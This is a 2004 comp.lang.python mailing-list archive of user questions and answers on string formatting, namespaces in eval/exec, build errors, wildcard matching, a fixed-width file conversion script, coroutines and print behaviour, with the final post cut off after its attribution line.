Carlos Ribeiro <carribeiro at gmail.com> wrote:
   ...
> The biggest problem for we third-world money-impaired users that many
> people don't realize is that we charge for our services in the local
> currency, but have to buy stuff in strong currency (dollars or euros).

Very good point, thanks.  So, comparative advantage suggests that you
guys should be the ones developing and selling general-purpose tools
through the internet to developers in the relatively richer countries,
while said developers in those countries should rather be doing custom
applications for their local customers.  Developing a tool such as, say,
BlackAdder or WingIDE, should cost MUCH less over there, yet if sales
are all done through the net it should not matter at all whether a tool
is written in Brazil or Norway.

Clearly it's not happening.  Even third-world countries with HUGE
presence in the IT industry, such as India, are totally concentrating on
developing custom applications, not tools for resale via the net.  As
far as I know all commercial IDE's and other tools of that ilk come from
Canada, the US, and the rich parts of Europe.  It's a puzzlement!


Alex


From pfortin at pfortin.com  Thu Sep  9 15:23:28 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Thu, 9 Sep 2004 15:23:28 -0400
Subject: string formatting with mapping & '*'...  is this a bug?
References: <20040909140649.6d2eff6e@gypsy.pfortin.com>
	<Xns955F779C04101OKB@130.133.1.4>
Message-ID: <20040909152328.2233c917@gypsy.pfortin.com>

On 9 Sep 2004 18:45:37 GMT OKB wrote:

> Pierre Fortin wrote:
> 
> > Attempting to specify a field width via '*' to a mapping fails....
> > 
> >>>> "%(two)*d" % (mapping,6)
> > Traceback (most recent call last):
> >   File "<stdin>", line 1, in ?
> > TypeError: format requires a mapping
> >>>> "%(two)-*d" % (6,mapping)
> > Traceback (most recent call last):
> >   File "<stdin>", line 1, in ?
> > TypeError: format requires a mapping
> 
>     	I don't think this has anything to do with the * thing.  You can't
>     	
> mix the sequence and mapping forms of %.  For instance, this also fails
> 
> >>> m = {'one': 1, 'two': 2}
> >>> "%(two)d %d" % (m, 6)
> 
> Traceback (most recent call last):
>   File "<pyshell#8>", line 1, in -toplevel-
>     "%(two)d %d" % (m, 6)
> TypeError: format requires a mapping
> 
>     	The error message is telling you the truth: you're passing the % 
> operator a tuple, but your format string has a "%(two)" in it, which 
> means it requires not a tuple but a mapping.
> 

Darn...  I was hoping that Python would let me format strings with
mappings in a more readable/maintainable way than thusly:

>>> mapping = {'one':1,'two':2,'size':6}
>>> eval("'%%(two)%(size)dd' %% mapping" % mapping)
'     2'
-or-
>>> size=6
>>> eval("'%%(two)%dd' %% mapping" % size)
'     2'

Changing my copy of the book on P.48 to read:
"""
In addition, the asterisk (*) character may be used in place of any number
in any** width field. If present, the width will be read from the next
item in the tuple.

** EXCEPT with mappings described in (1) above
"""


Pierre


From michele.simionato at gmail.com  Mon Sep 20 10:07:19 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 20 Sep 2004 07:07:19 -0700
Subject: strange problem with os.getlogin
Message-ID: <4edc17eb.0409200607.49e157b7@posting.google.com>

I am having a strange issue with os.getlogin on Mandrake 10:

$ python -c "import os; print os.getlogin()"
Traceback (most recent call last):
  File "<string>", line 1, in ?
OSError: [Errno 2] No such file or directory

On another linux machine (Debian) instead it works as expected.
For the moment I am using os.popen("whoami").read() which works
but it is an hack :-( 
Does anybody have an idea of the source of the problem?


          Michele Simionato


From drysdam at ll.mit.edu  Tue Sep 14 09:03:26 2004
From: drysdam at ll.mit.edu (David Rysdam)
Date: Tue, 14 Sep 2004 09:03:26 -0400
Subject: funcs vs vars in global namespace
In-Reply-To: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com>
References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu>
	<1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com>
Message-ID: <z_B1d.5$26.4@llslave.llan.ll.mit.edu>

Alex Martelli wrote:
> David Rysdam <drysdam at ll.mit.edu> wrote:
>    ...
> 
>>def sumWithGlobal(a):
>>     return a + b
> 
>    ...
> 
>>#Here is define sumWithGlobals but not b and it still works.  Why?
>>#Shouldn't I get an error that b is undefined, since it isn't in the
>>#globals dict of the eval?
>>print 'Case 4: Attempt to set just the function sumWithGlobal (succeeds
>>for unknown reason'
>>print eval("sumWithGlobal(2)", {'sumWithGlobal':sumWithGlobal})
>>print
> 
> 
> The function sumWithGlobal, internally, uses the global dictionary of
> the module it was defined in, NOT that of the module it's being called
> from, including the "kinda sorta pseudo" module you have within an eval.
> This also explains:
> 
> 
>>If I add a "print globals()" to sumWithGlobal, I see {'b':2} in there in
>>cases 1, 2, 4 and 5.  What am I doing wrong?
> 
> 
> You're misunderstanding Python globals: they are per-module, not "across
> all modules".
> 
> 
> Alex

OK, I can kind of understand that.  I'm not sure what the point of being 
able to specify the globals for an eval() is then, but if it doesn't do 
what I want it doesn't do what I want.

What I want to do is be able to run multiple scripts that use the same 
global variable and function names but be able to have my master script 
define those variables and functions programmatically.  Can I do that 
with the rexec sandbox stuff?  Or is rexec more about keeping the 
exec()'d code from doing things than specifying precisely what it can do?


From no at no.com  Mon Sep 27 14:13:11 2004
From: no at no.com (richard)
Date: Mon, 27 Sep 2004 18:13:11 GMT
Subject: compile problems / help thanks
Message-ID: <XKY5d.313229$vG5.24627@news.chello.at>

hello when i compile @ make with python 2.3.4 comes this error

c++ -pthread  -Xlinker -export-dynamic -o python \
                Modules/python.o \
                libpython2.3.a -lpthread -ldl  -lutil   -lm
/usr/bin/ld: Dwarf Error: Invalid or unhandled FORM value: 14.
libpython2.3.a(posixmodule.o): In function `posix_tmpnam':
/usr/src/Python-2.3.4/./Modules/posixmodule.c:6063: the use of `tmpnam_r' is 
dangerous, better use `mkstemp'
libpython2.3.a(posixmodule.o): In function `posix_tempnam':
/usr/src/Python-2.3.4/./Modules/posixmodule.c:6018: the use of `tempnam' is 
dangerous, better use `mkstemp'
collect2: ld returned 1 exit status
make: *** [python] Error 1

thanks for help 




From jdhunter at ace.bsd.uchicago.edu  Mon Sep 27 15:54:06 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Mon, 27 Sep 2004 14:54:06 -0500
Subject: batch pretty (color) print of python code?
In-Reply-To: <cj9rt8$l3k$1@nrc-news.nrc.ca> ("Humpdydum"'s message of "Mon,
	27 Sep 2004 16:07:03 -0400")
References: <cj9rt8$l3k$1@nrc-news.nrc.ca>
Message-ID: <m2sm934hep.fsf@mother.paradise.lost>

>>>>> "Humpdydum" == Humpdydum  <oliver.schoenborn at utoronto.ca> writes:

    Humpdydum> Any freeware/open-source that does that? Windows- OR
    Humpdydum> Linux-based is fine. On Linux it would be s/t like
    Humpdydum> "pyprint -r *.py > out.ps" where -r indicates
    Humpdydum> recursive. Done a search on google and nothing solid
    Humpdydum> comes up. So far I've been using Boa's print feature,
    Humpdydum> which means one file at a time, tedious.  Thanks,
    Humpdydum> Oliver


I've been very happy with the latex listings package, which supports
python.

http://www.atscire.de/index.php?nav=products/listings

JDH



From skip at pobox.com  Wed Sep  8 20:07:10 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 8 Sep 2004 19:07:10 -0500
Subject: glossary wiki
In-Reply-To: <qnku0u8l98s.fsf@arbutus.physics.mcmaster.ca>
References: <mailman.2881.1094337154.5135.python-list@python.org>
	<YXm%c.12429$lP4.940107@news20.bellglobal.com>
	<mailman.3004.1094613326.5135.python-list@python.org>
	<qnku0u8l98s.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <16703.40622.737529.253580@montanaro.dyndns.org>


    Nicolas> I guess it would be nice to put this glossary on
    Nicolas> http://www.python.org/moin/.

    >> That's fine with me.  If someone does it let me know and I'll dump
    >> mine and redirect to the relevant page.

    David> Done; it's the PythonGlossary page, linked off of the
    David> Documentation page.

    David> (It's very easy when both wikis use MoinMoin :-)

And the old glossary now redirects to the new one.

Skip


From drysdam at ll.mit.edu  Mon Sep 13 13:48:29 2004
From: drysdam at ll.mit.edu (David Rysdam)
Date: Mon, 13 Sep 2004 13:48:29 -0400
Subject: stupid namespace tricks
Message-ID: <N3l1d.1$26.0@llslave.llan.ll.mit.edu>

I have a program called 'myDaemon'.  I want this program to run little 
'scriptlets' that I have written.  I want the scriptlets to be as small 
and dumb as possible, so I decided I could jettison some overhead by 
having them be python code fragments that are just exec()'d by myDaemon.

Inside of myDaemon, I first created functions like logError() that the 
fragment could call to handle common functionality.  An API, I guess you 
could call it.  But then I realized that for some members of that API, 
I'd want to call different versions of the function for different 
versions of the scriptlet.  Rather than a big ugly switch statement, I 
thought I'd just use the globals() parameter of exec() to cram the right 
callables into the global dictionary with the key being the generic name 
I wanted to call.

For instance:

globals['logError':logErrorV3]

(It's possible I'm being blinded by the coolness of Python and that I 
could do this some old stodgy way.  But I want to control myDaemon 
remotely, so I'd like as much as possible to be dynamic and data-driven 
so it can be changed on the fly.)

Now I have 3 files.

1) scriptlet.py imports nothing and calls logError().


2) function_defaults.py imports nothing, defines logError() and also 
sets up a default global like so:

dictGlobal = {'logError':logError}


3) And then in myDaemon I "import functions_default" and do this:

exec(body, functions_default.dictGlobal)

(where "body" is the body of the scriptlet)

This all works fine.  But I want each scriptlet to be logged to a 
separate file.  There's no reason the scriptlet should manage this, so I 
have an id assigned to each scriptlet at the myDaemon level.  I thought 
I could just cram that id into the globals() dict for the scriptlet and 
then logError would see it and be able to figure out what file to log to.

I added this to myDaemon.py ahead of the exec():

functions_default.dictGlobal['id'] = scriptlet['id']

But when I get to logError, 'id' isn't there.

Some googling has revealed that "global" means "at the module level", 
but since I'm cramming it in manually it doesn't seem like that 
shouldn't matter.  Can anyone tell me what's going on?

(I apologize if this is complicated.  If it's not clear what I'm doing I 
can try to create a stripped down version and just post that.)


From wjdandreta at att.net  Tue Sep 28 01:14:04 2004
From: wjdandreta at att.net (Bill Dandreta)
Date: Tue, 28 Sep 2004 05:14:04 GMT
Subject: Python game help needed?
Message-ID: <wq66d.445628$OB3.249831@bgtnsc05-news.ops.worldnet.att.net>

I would like to write a wordsearch puzzle game in Python that functions 
like this java program:

http://javaboutique.webdeveloper.com/WordSearch/

I would like it to be cross platform (Linux, Windows, Mac).

I don't know how to get the graphics effect with a bounding box around 
the words.

Any suggestions would be greatly appreciated.

Bill


From daniel.dittmar at sap.corp  Fri Sep 10 04:26:58 2004
From: daniel.dittmar at sap.corp (Daniel Dittmar)
Date: Fri, 10 Sep 2004 10:26:58 +0200
Subject: python and bit shifts and byte order, oh my!
In-Reply-To: <9490d.126$KA1.1800@news1.mts.net>
References: <9490d.126$KA1.1800@news1.mts.net>
Message-ID: <chrogi$gmk$1@news1.wdf.sap-ag.de>

Reid Nichol wrote:
> I played with bit shifts on my PC and tried the same thing on a Mac OS X 
> machine.  They produced the same results, so I would assume that the way 
> the bits and how they are interpreted are as in this link:
> 
> http://www.khakipants.org/archives/2003/03/bitlevel_input_and_output.html
> 
> At least in memory while the interpreter is running.

CPUs differ in the way integers are stored in memory. But the shift 
operators of the CPU are implemented to work on logical integers in 
registers, not on consecutive bytes in memory.

Daniel


From ptmcg at austin.rr._bogus_.com  Fri Sep 17 06:28:52 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 17 Sep 2004 10:28:52 GMT
Subject: [Python-Dev] Strawman decision: @decorator won't change
References: <cibkl1$395$07$1@news.t-online.com>
Message-ID: <E%y2d.3$Gn3.2@fe2.texas.rr.com>

"Peter Otten" <__peter__ at web.de> wrote in message
news:cibkl1$395$07$1 at news.t-online.com...
> I took the freedom to forward GvR's mail concerning decorator cosmetics.
> I think you should know about it.
>
> Peter
>
Why? Sounds like the same rigged rules as before.  Who wants to burn up any
more cycles on this?

I don't have a problem with GvR making his decisions about the language -
it's his.  I do have a problem with his asking for input, under terms that
are so unlikely to permit that input to have any influence, and then patting
himself on the back for polling the user community for their comments.  And
he wonders at the "near-complete silence following my rejection of J2"???
(For that matter, why didn't Guido post this 7-day discussion period on
c.l.py himself?  Makes one wonder how seriously he really wants any more
input.)

Ultimately, this choice will boil down to Guido's own sense of esthetics.
He has already dismissed/discounted arguments against '@' based on usage in
other tools or language implementations.  And there is little sense in
trying to marshal argument and rhetoric on the
etymology/semantics/verbalizations/human factors of '@' vs. '|' vs. '>>' or
whatever - these go so far adrift into meta-space that they quickly lose
focus on the original topic, and thereby reinforce GvR's impression that
this discussion has no emerging consensus or coherence.

I and many others have offered our feedback (i.e., complained) that '@' is
an offense to the eye, a blot on Python's heretofore cleanness of syntax and
form, and implicit readability.  '@' doesn't *mean* anything.  At least '|'
brings a "pipe" semantic from Unix, or '^' evokes a "return" concept from
Smalltalk, or '>>' the notion of "stream" from C++.  When I see '@', the
first thing I think of is e-mail, and the second thing I think of is an
invoice ("20 widgets @ $0.25 = $5.00").

So what?  It all boils down to "I like 'X'", "Well, I like 'Y'", to "Thanks
for your feedback, the answer is '@'."

-- Paul




From jfabiani at yolo.com  Fri Sep 17 14:04:06 2004
From: jfabiani at yolo.com (John Fabiani)
Date: Fri, 17 Sep 2004 18:04:06 GMT
Subject: Python Webstart ?
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
	<mailman.3460.1095435595.5135.python-list@python.org>
	<414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au>
	<m3llf8ygzk.fsf@g2ctech.com>
Message-ID: <qGF2d.16864$QJ3.3731@newssvr21.news.prodigy.com>

Jorge Godoy wrote:

> huy <nytimes at swiftdsl.com.au> writes:
> 
>> Well not really. I don't mind doing one installation of a
>> (Python/Java) webstart. However, it's the automatic update of the
>> actual application software which I find most useful. The alternative
>> using p2exe or pyfreeze will require me to distribute the (potentially
>> large) binaries manually. For hundreds of terminals, this is not gonna
>> be good, especially in an iterative environment.
> 
> A network drive is not an option?  I use that with several software.  I
> just update one copy and everybody has an updated copy of the software
> the next time they run it.

Of course the problem with using a network drive is the size of the file
that is download everytime the program is run.  

John 



From listserver at tdw.net  Thu Sep  9 09:01:41 2004
From: listserver at tdw.net (Tim Williams)
Date: Thu, 9 Sep 2004 14:01:41 +0100
Subject: text matching help
References: <chkoc4$l08$1@newsg2.svr.pol.co.uk><200409090130.00953.heikowu@ceosg.de><001e01c49660$1cca18d0$ccbefea9@twilliams>
	<200409091411.08557.heikowu@ceosg.de>
Message-ID: <004001c4966d$26e6ad30$ccbefea9@twilliams>


----- Original Message ----- 
From: "Heiko Wundram" <heikowu at ceosg.de>


> Am Donnerstag, 9. September 2004 13:28 schrieb Tim Williams:
> > I need to be able to match some input text  to these wildcards  (eg
timothy
> > will match tim*),    * on its own is invalid,  there must be text before
or
> > after the *.
>
> Check out the fnmatch module (if you use simple wildcards, unix shell
style,
> which aren't regular expressions):
>
> >>> import fnmatch
> >>> fnmatch.fnmatch("mylittletext","my*")
> True
> >>> fnmatch.fnmatch("mylittletext","little*")
> False
> >>> fnmatch.fnmatch("mylittletext","*little*")
> True

Yes,  this does the trick,   many thanks.

I used something like

import fnmatch as f
t = 'tim.williams'

# in place of  L = MyDict.keys()
L = ['tim*' ,  'dav* ',  'david' ,  'peter' ,  '*m' , '*y' , ' not-a-name ',
'timoth?' , '*.*' , '*iams' , '*']

L.sort()  # to give a consistent search order

for name in L:
...  if f.fnmatch(t, name):
...   print t, 'matches', name

tim.williams matches *
tim.williams matches *.*
tim.williams matches *iams
tim.williams matches tim*

:-)



From cmichaelbeck at hotmail.com  Tue Sep 21 13:48:48 2004
From: cmichaelbeck at hotmail.com (mike beck)
Date: 21 Sep 2004 10:48:48 -0700
Subject: Translate tab-delimited to fixed width text
Message-ID: <ead93a6.0409210948.7a80e5db@posting.google.com>

I'm writing a script to take a tab-delimited input file where the
format is known and transform it to a fixed-width text file. I thought
that the script might be easier to troubleshoot or edit later (if the
file formats change, for example) if I specified the column names for
the input and output files, which is why I didn't just map input
column 1 -> export column 14.

Even though I've spent some quality time with the archives and the
fine manual, I'm pretty sure that I'm doing some WRONG THINGS. Or
perhaps some SUB-OPTIMAL THINGS. And possibly REALLY WEIRD THINGS. Or
just maybe THINGS THAT WILL WORK FOR A LITTLE WHILE BUT WILL SURELY
CAUSE DIRE PROBLEMS AT SOME LATER, INCREDIBLY INCONVENIENT TIME
RESULTING IN HORRIBLE, TRAGIC CONSEQUENCES FOR EVERYONE INVOLVED.

The script works, but the use of multiple dictionaries seems ... how
should I say ... unintuitive. Is there a better way to move values
from one dictionary to another than what I've done here? I'd
appreciate any other tips (especially those that fit into the
CATEGORIES listed above).

And I've omitted the read from file and write to file business for the
sake of brevity...

Standing on the shoulders of giants (meaning, you all!),
Mike

---

"""
Transforms a tab delimited text file to a fixed-width text file. 
"""
import copy, string

DEFFIELDSEP = '\t';
DEFLINESEP = '\n';
DEFHASHEADER = 1;                   # 1 if yes, 0 if no

import_field_order = (  'Email',
                        'First Name(s)',
                        'Last Name',
                        'Address Line 1',
                        'Address Line 2',
                        'City',
                        'State',
                        'Zip Code', );

# export columns (keys) to import columns (values)
mapped_fields = {       'EMAIL_ADDRESS_1':'Email',
                        'FIRST_NAME_1':'First Name(s)',
                        'LAST_NAME_1':'Last Name',
                        'ADDRESS_1':'Address Line 1',
                        'CITY':'City',
                        'STATE':'State',
                        'ZIP_CODE':'Zip Code', };

# required length and justification of export fields
export_fields = {       'RECORD_TYPE':[1,'left'],
                        'ACCOUNT_ID':[8,'left'],
                        'TITLE_1':[8,'left'],
                        'FIRST_NAME_1':[20,'left'],
                        'MIDDLE_NAME_1':[20,'left'],
                        'LAST_NAME_1':[20,'left'],
                        'SUFFIX_1':[8,'left'],
                        'NAME_ID_1':[2,'left'],
                        'ADDRESS_1':[256,'left'],
                        'CITY':[30,'left'],
                        'STATE':[2,'left'],
                        'ZIP_CODE':[5,'left'],
                        'ZIP_EXTENSION':[4,'left'],
                        'EMAIL_ADDRESS_1':[100,'left'],
                        'EMAIL_ADDRESS_TYPE_1':[2,'left'],  };

export_field_order = (  'RECORD_TYPE',
                        'ACCOUNT_ID',
                        'TITLE_1',
                        'FIRST_NAME_1',
                        'MIDDLE_NAME_1',
                        'LAST_NAME_1',
                        'SUFFIX_1',
                        'NAME_ID_1',
                        'ADDRESS_1',
                        'CITY',
                        'STATE',
                        'ZIP_CODE',
                        'ZIP_EXTENSION',
                        'EMAIL_ADDRESS_1',
                        'EMAIL_ADDRESS_TYPE_1',    );

def pad ( elem, max_length, justification=None):
    """
    Pad a string to a predetermined length. Truncate the string 
    if necessary. By default, left justify and pad with spaces.
    """
    padded_value = '';
    # what if elem is none?
    if (justification is 'right'):
        padded_value = elem.rjust(max_length)[:max_length]
    else:
        padded_value = elem.ljust(max_length)[:max_length]
    return padded_value

def glue ( var, ref, order ):
    """
    Build a string with padded dictionary values.
    Var and ref are dictionaries, order is a tuple describing the 
    field order.
    """
    finished_line = []
    # pad the items
    for k in var.keys():
        # pad (value, length, justification)
        var[k] = pad( str(var[k]), ref[k][0], ref[k][1])
    # build the line in order
    for elem in order:
        finished_line.append(dict.get(var, elem))
    # join the elements and return a string
    return ''.join([x for x in finished_line])

def build ( line, field_sep = DEFFIELDSEP ):
    """
    Create a single record by transposing fields via 
    multiple dictionaries.
    """
    fields = string.split(line, field_sep);
    # trim whitespace
    fields = map(string.strip, fields)
    # create dict of import column names (keys) and import 
    # data (values)
    step_one = dict([(q,a) for q,a in zip(import_field_order,
fields)])
    # create a 'throwaway' copy of the mapped fields dict to 
    # do the transform
    step_two = copy.deepcopy(mapped_fields)
    # replace the column names of the import file with the 
    # values from the import file
    for k,v in step_two.items():
        step_two[k] = dict.get(step_one, v)
    # create an empty dict with the export column names
    step_three = dict([(q,'') for q in export_field_order])
    dict.update(step_three, step_two)
    # special cases
    step_three['RECORD_TYPE'] = 'D'
    step_three['EMAIL_ADDRESS_TYPE_1'] = 'I'
    return glue(step_three, export_fields, export_field_order)
    
def decapitate(infile,has_header=DEFHASHEADER,line_sep=DEFLINESEP):
    """
    Return file without header row
    """
    if (has_header):
        sans_head = string.split(infile, line_sep)[1:]
    else:
        sans_head = string.split(infile, line_sep)
    return sans_head
    
if __name__ == '__main__':
    
    # init vars
    out_lst = []
    
    # sample data. Names have been changed ... ;)
    fin = {'data': 'Email\tFirst Name(s)\tLast Name\tAddress Line
1\tAddress Line 2\tCity\tState\tZip
Code\nme at test.com\tBill\tMunroe\t416
Main\t\tManhattan\tNY\t10471\ngodaddy at test.com\tGeorge\tScott\t111
Blue Street 2005\t\tSan
Francisco\tCA\t94144\nmmike at test.net\tMike\tBork\t22 Oak
Rd\t\tAlbuquerque\tNM\t01720-5303\npsycho at test.com\tIma\tCrazy\t1111 E
Maple Rd\t\tDenver\tCo\t80206-6139'};
    
    # get a list of lines without a header row
    lines = decapitate(fin['data']);
    
    for line in lines:
        # check for blank lines
        if (line):
            out_lst.append(build(line))
        
    print out_lst;


From aleaxit at yahoo.com  Sat Sep  4 05:00:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 11:00:35 +0200
Subject: Announcing PyCs, a new Python-like language on .Net
References: <1gjicas.43o0lh1vo2fnaN%aleaxit@yahoo.com>
Message-ID: <1gjkc05.1fvavju1fv249pN%aleaxit@yahoo.com>

Alex Martelli <aleaxit at yahoo.com> wrote:
   ...
> sneer at them), even though I'm not going to get involved (no version of
> dotNet's CLR runs on the Mac, I believe, so I'm not very interested in
> anything that requires the CLR).  But I do believe you CAN do much

I was wrong!  Thanks to Stefan Eischet for suggesting I try again: Mono
1.0.1 does install cleanly on my Mac (OS X 10.3.5, Xcode 1.5, fink
unstable, etc, I do keep it pretty updated but I don't think it matters
here) and IronPython runs on top of it (haven't done any thorough tests,
what with 2.4 alpha 3 requiring much more attention, but it does work
for trivial things at least).  So, maybe I'm more interested in CLR than
I knew I was, and might well (...once 2.4 is done and I can take a
breather from the cookbook's 2nd ed...) voice my opinion on pycs, boo,
whatever, in the appropriate fora (mailing lists I assume, I'll look
around when I _do_ get some 'copious spare time' to breathe...:-).

Sometimes it's NEAT to be wrong...:-)


Alex


From zathras at thwackety.com  Sun Sep 19 21:00:49 2004
From: zathras at thwackety.com (Michael Sparks)
Date: Mon, 20 Sep 2004 02:00:49 +0100
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
	<g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>
	<8cf9f521.0409181021.6db6a3e4@posting.google.com>
	<653b7547.0409182157.4339613@posting.google.com>
	<414d6080$0$17924$ed2619ec@ptn-nntp-reader02.plus.net>
	<653b7547.0409190842.36cb9051@posting.google.com>
Message-ID: <414e329a$0$17961$ed2619ec@ptn-nntp-reader02.plus.net>

Patrick Maupin wrote:

> Michael Sparks wrote:
 
> IMO, this example does not demonstrate a reasonable use-case for
> coroutines.

The implied use case is this:
   1 An arbitrary piece of library code that can accept a function (or
     object with attached method) for processing data.
   2 This arbitrary piece of code gets called by a coroutine, and is passed
     a process function that has somewhere buried inside it's call chain
     something that causes a coroutine switch.

In terms of code, 1 isn't such an odd or unusual a concept. You would
normally expect library code to have well defined known semantics. However
by placing that commonly used code in the call chain you break it's
semantics.

Unless you think that no coroutine is ever going to use library code of some
kind (either in-house or some shared library, or even just stuff in the
standard python distro), then it is indicative of the sort of thing that
could happily sit half way through a call stack in a stackful coroutine.

> Two good use cases for coroutines are:
> [ couple of examples ]

Note: I did say that in some circumstances they do make life simpler.
However by adding them in at all, you _risk_ making reasoning about the
entire system more complex, not simpler, depending on the implementation.
It's *not* just sufficient to say that it's stackful.

> (As an aside, IMO your example also fails to demonstrate good
> try/except/finally hygiene, which would be a completely peripheral
> argument, except that you're arguing that Python should always do the
> "right thing" with this code, and you're not even using what I would
> consider to be the right constructs for that.)

Consider that normally you'd use try: finally: and that simple generators
don't allow the use of finally due to the fact that the finally clause is
not guaranteed to get any CPU time. Whether it's reasonable to assume that
hypothetical coroutine code would have similar restrictions to generator
code is an exercise for the reader...

That was the reason for the odd try/except/finally "hygiene". The reason for
the bare except was to point out that it would catch any and all errors as
you would normally with finally. You state that you think what I was doing
wasn't good hygiene - however it's one of the few options you have if you
use generators at present. I was aiming for consistency with that, not
sanity :)

>> I would argue that you cannot, unless you start placing restrictions on
>> the coroutines in a way you (and others) haven't detailed. (Such as
>> ensuring that when you throw something like exceptions.SystemExit that it
>> propogates through all the co-routines and hits all the bare except
>> clauses and isn't stopped by any single one of them.)
> 
> I guess this is the old "you'll put your eye out with that thing"
> argument. 

I wouldn't say that's ever a reason for not putting something in a language.
You'd never allow anyone to delete files on the disk otherwise... I was
merely pointing out that you stated coroutines simplify reasoning, whereas
in practice it can _break_ the _normal_ reasoning you have for the bulk of
your code.

>...  I submit that coroutines would be a satisfactory solution 

You seem to be arguing from the point of view that seems to think I'm
against the idea of coroutines entering python, whereas all I was doing was
pointing out that coroutines potentially break the reasoning for very
common code, depending on how they are added. (if say generators were ever
to be extended to be more stackful than they are)

I use generators at present for a lot of the tasks that coroutines would
naturally sit into. Indeed I use them because they fulfill a lot of what
coroutines would provide, and it was one of our reasons for choosing
python in the first place. Even so one of the first questions I asked
regarding them was "can they be wrapped/nested" (ie made stackful).

It's not, perhaps, quite as nice as "full" coroutines, but then it's
nicer than the equivalent in many other languages.

Regards,


Michael.



From agriff at tin.it  Sun Sep 19 02:29:54 2004
From: agriff at tin.it (Andrea Griffini)
Date: Sun, 19 Sep 2004 06:29:54 GMT
Subject: New Programmer and Python
References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com>
	<roy-6664E4.12362218092004@reader1.panix.com>
Message-ID: <719qk0pe3q61u3h24pvi0svre02h0qeav8@4ax.com>

On Sat, 18 Sep 2004 12:36:22 -0400, Roy Smith <roy at panix.com> wrote:

>Some people think it's absolutely brilliant, others think it's the 
>stupidest thing they've ever heard of.  But, it is what it is, it's not 
>going to change, nobody in either camp is ever going to be convinced to 
>change their mind, and there is nothing that can be said about it on 
>either side which hasn't already been said 100 times already.

I don't agree that nobody in either camp is ever going to be convinced
to change their mind. I for example was in the "that's the stupidiest
thing I've heard of (since COBOL)" and now changed my mind.
Not sure if this really counts... as indeed my initial position was
just *before* actually trying to write any non-trivial python program.

Andrea

PS: I'm sure this is one of the things said 100 times
    already... but I remember students of programming courses
    at university that were used to write their programs in
    Pascal with no indentation and, once the program were
    working and before submitting them, adding proper
    indentation "because otherwise the professor gets mad".
    I'm not kidding about this.




From thorsten at thorstenkampe.de  Tue Sep 14 05:07:33 2004
From: thorsten at thorstenkampe.de (Thorsten Kampe)
Date: Tue, 14 Sep 2004 11:07:33 +0200
Subject: help: up/down arrows in 2.3.4 interactiv
References: <ci4i04$1h1v$1@ulysses.noc.ntua.gr>
Message-ID: <22luui3ufkg6.dlg@thorstenkampe.de>

* Jerald (2004-09-14 04:37 +0200)
> I've just installed 2.3.4 from the source on a linux box.
> In the interactive mode, up/down arrows do not work.
> When I press 'up' python prints '^[[A' and down gives '^[[B'
> What is wrong?

No readline? Mangled $INPUTRC? Anyway, probably not a python thing.


From b.niemann at betternet.de  Fri Sep  3 11:03:21 2004
From: b.niemann at betternet.de (Benjamin Niemann)
Date: Fri, 03 Sep 2004 17:03:21 +0200
Subject: print with no newline
In-Reply-To: <2prebbFo67agU1@uni-berlin.de>
References: <2prasrFo4rruU1@uni-berlin.de>
	<mailman.2834.1094220495.5135.python-list@python.org>
	<2prebbFo67agU1@uni-berlin.de>
Message-ID: <cha0tj$6dv$1@online.de>

You are not the only one, who feels that the behaviour of print is not 
optimal. Thta's why it is on the list of things to be dropped with 
Python 3. See PEP 3000 or "Python Regrets" 
(http://www.python.org/doc/essays/ppt/regrets/PythonRegrets.pdf)

Paul Watson wrote:

> "Jp Calderone" <exarkun at divmod.com> wrote in message
> news:mailman.2834.1094220495.5135.python-list at python.org...
> 
>>Paul Watson wrote:
>>
>>>I thought that using a comma at the end of a print statement would
> 
> suppress
> 
>>>printing of a newline.  Am I misunderstanding this feature?  How can I
> 
> use
> 
>>>print and not have a newline appended at the end?
>>>
>>
>>   Print doesn't want to leave the *final* line without a newline.
>>sys.stdout.write() doesn't care if your shell prompt gets mixed in with
>>the last line of output.  You'll need to use the latter if that's what
>>you want.
>>
>>exarkun at boson:~$ python -c "import sys; sys.stdout.write('here')"
>>hereexarkun at boson:~$
>>
>>   Jp
> 
> 
> Ok, I can use sys.stdout.write().  Still, this comma at the end thing does
> not seem very consistent.  Before the last line, while it does suppress the
> newline, a space is still added to the output.  Why is that?  Yes, I have
> seen spaces added between items in the print statement and, while it is
> probably convenient at times, is frequently an annoyance.
> 
> C:\src\projects\test1>python -c "print 'here',;print 'there'," >jjj
> 
> C:\src\projects\test1>od -c -tx1 jjj
> 0000000   h   e   r   e       t   h   e   r   e  \r  \n
>         68 65 72 65 20 74 68 65 72 65 0d 0a
> 0000014
> 
> 


From flavell at ph.gla.ac.uk  Tue Sep  7 09:34:32 2004
From: flavell at ph.gla.ac.uk (Alan J. Flavell)
Date: Tue, 7 Sep 2004 14:34:32 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <cqspj0h044pidk4c6an3egnbaca0h8r1im@4ax.com>
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no>
	<Pine.LNX.4.61.0409062355010.20478@ppepc56.ph.gla.ac.uk>
	<cqspj0h044pidk4c6an3egnbaca0h8r1im@4ax.com>
Message-ID: <Pine.LNX.4.61.0409071415020.21175@ppepc56.ph.gla.ac.uk>

On Tue, 7 Sep 2004, K?re Olai Lindbach wrote:

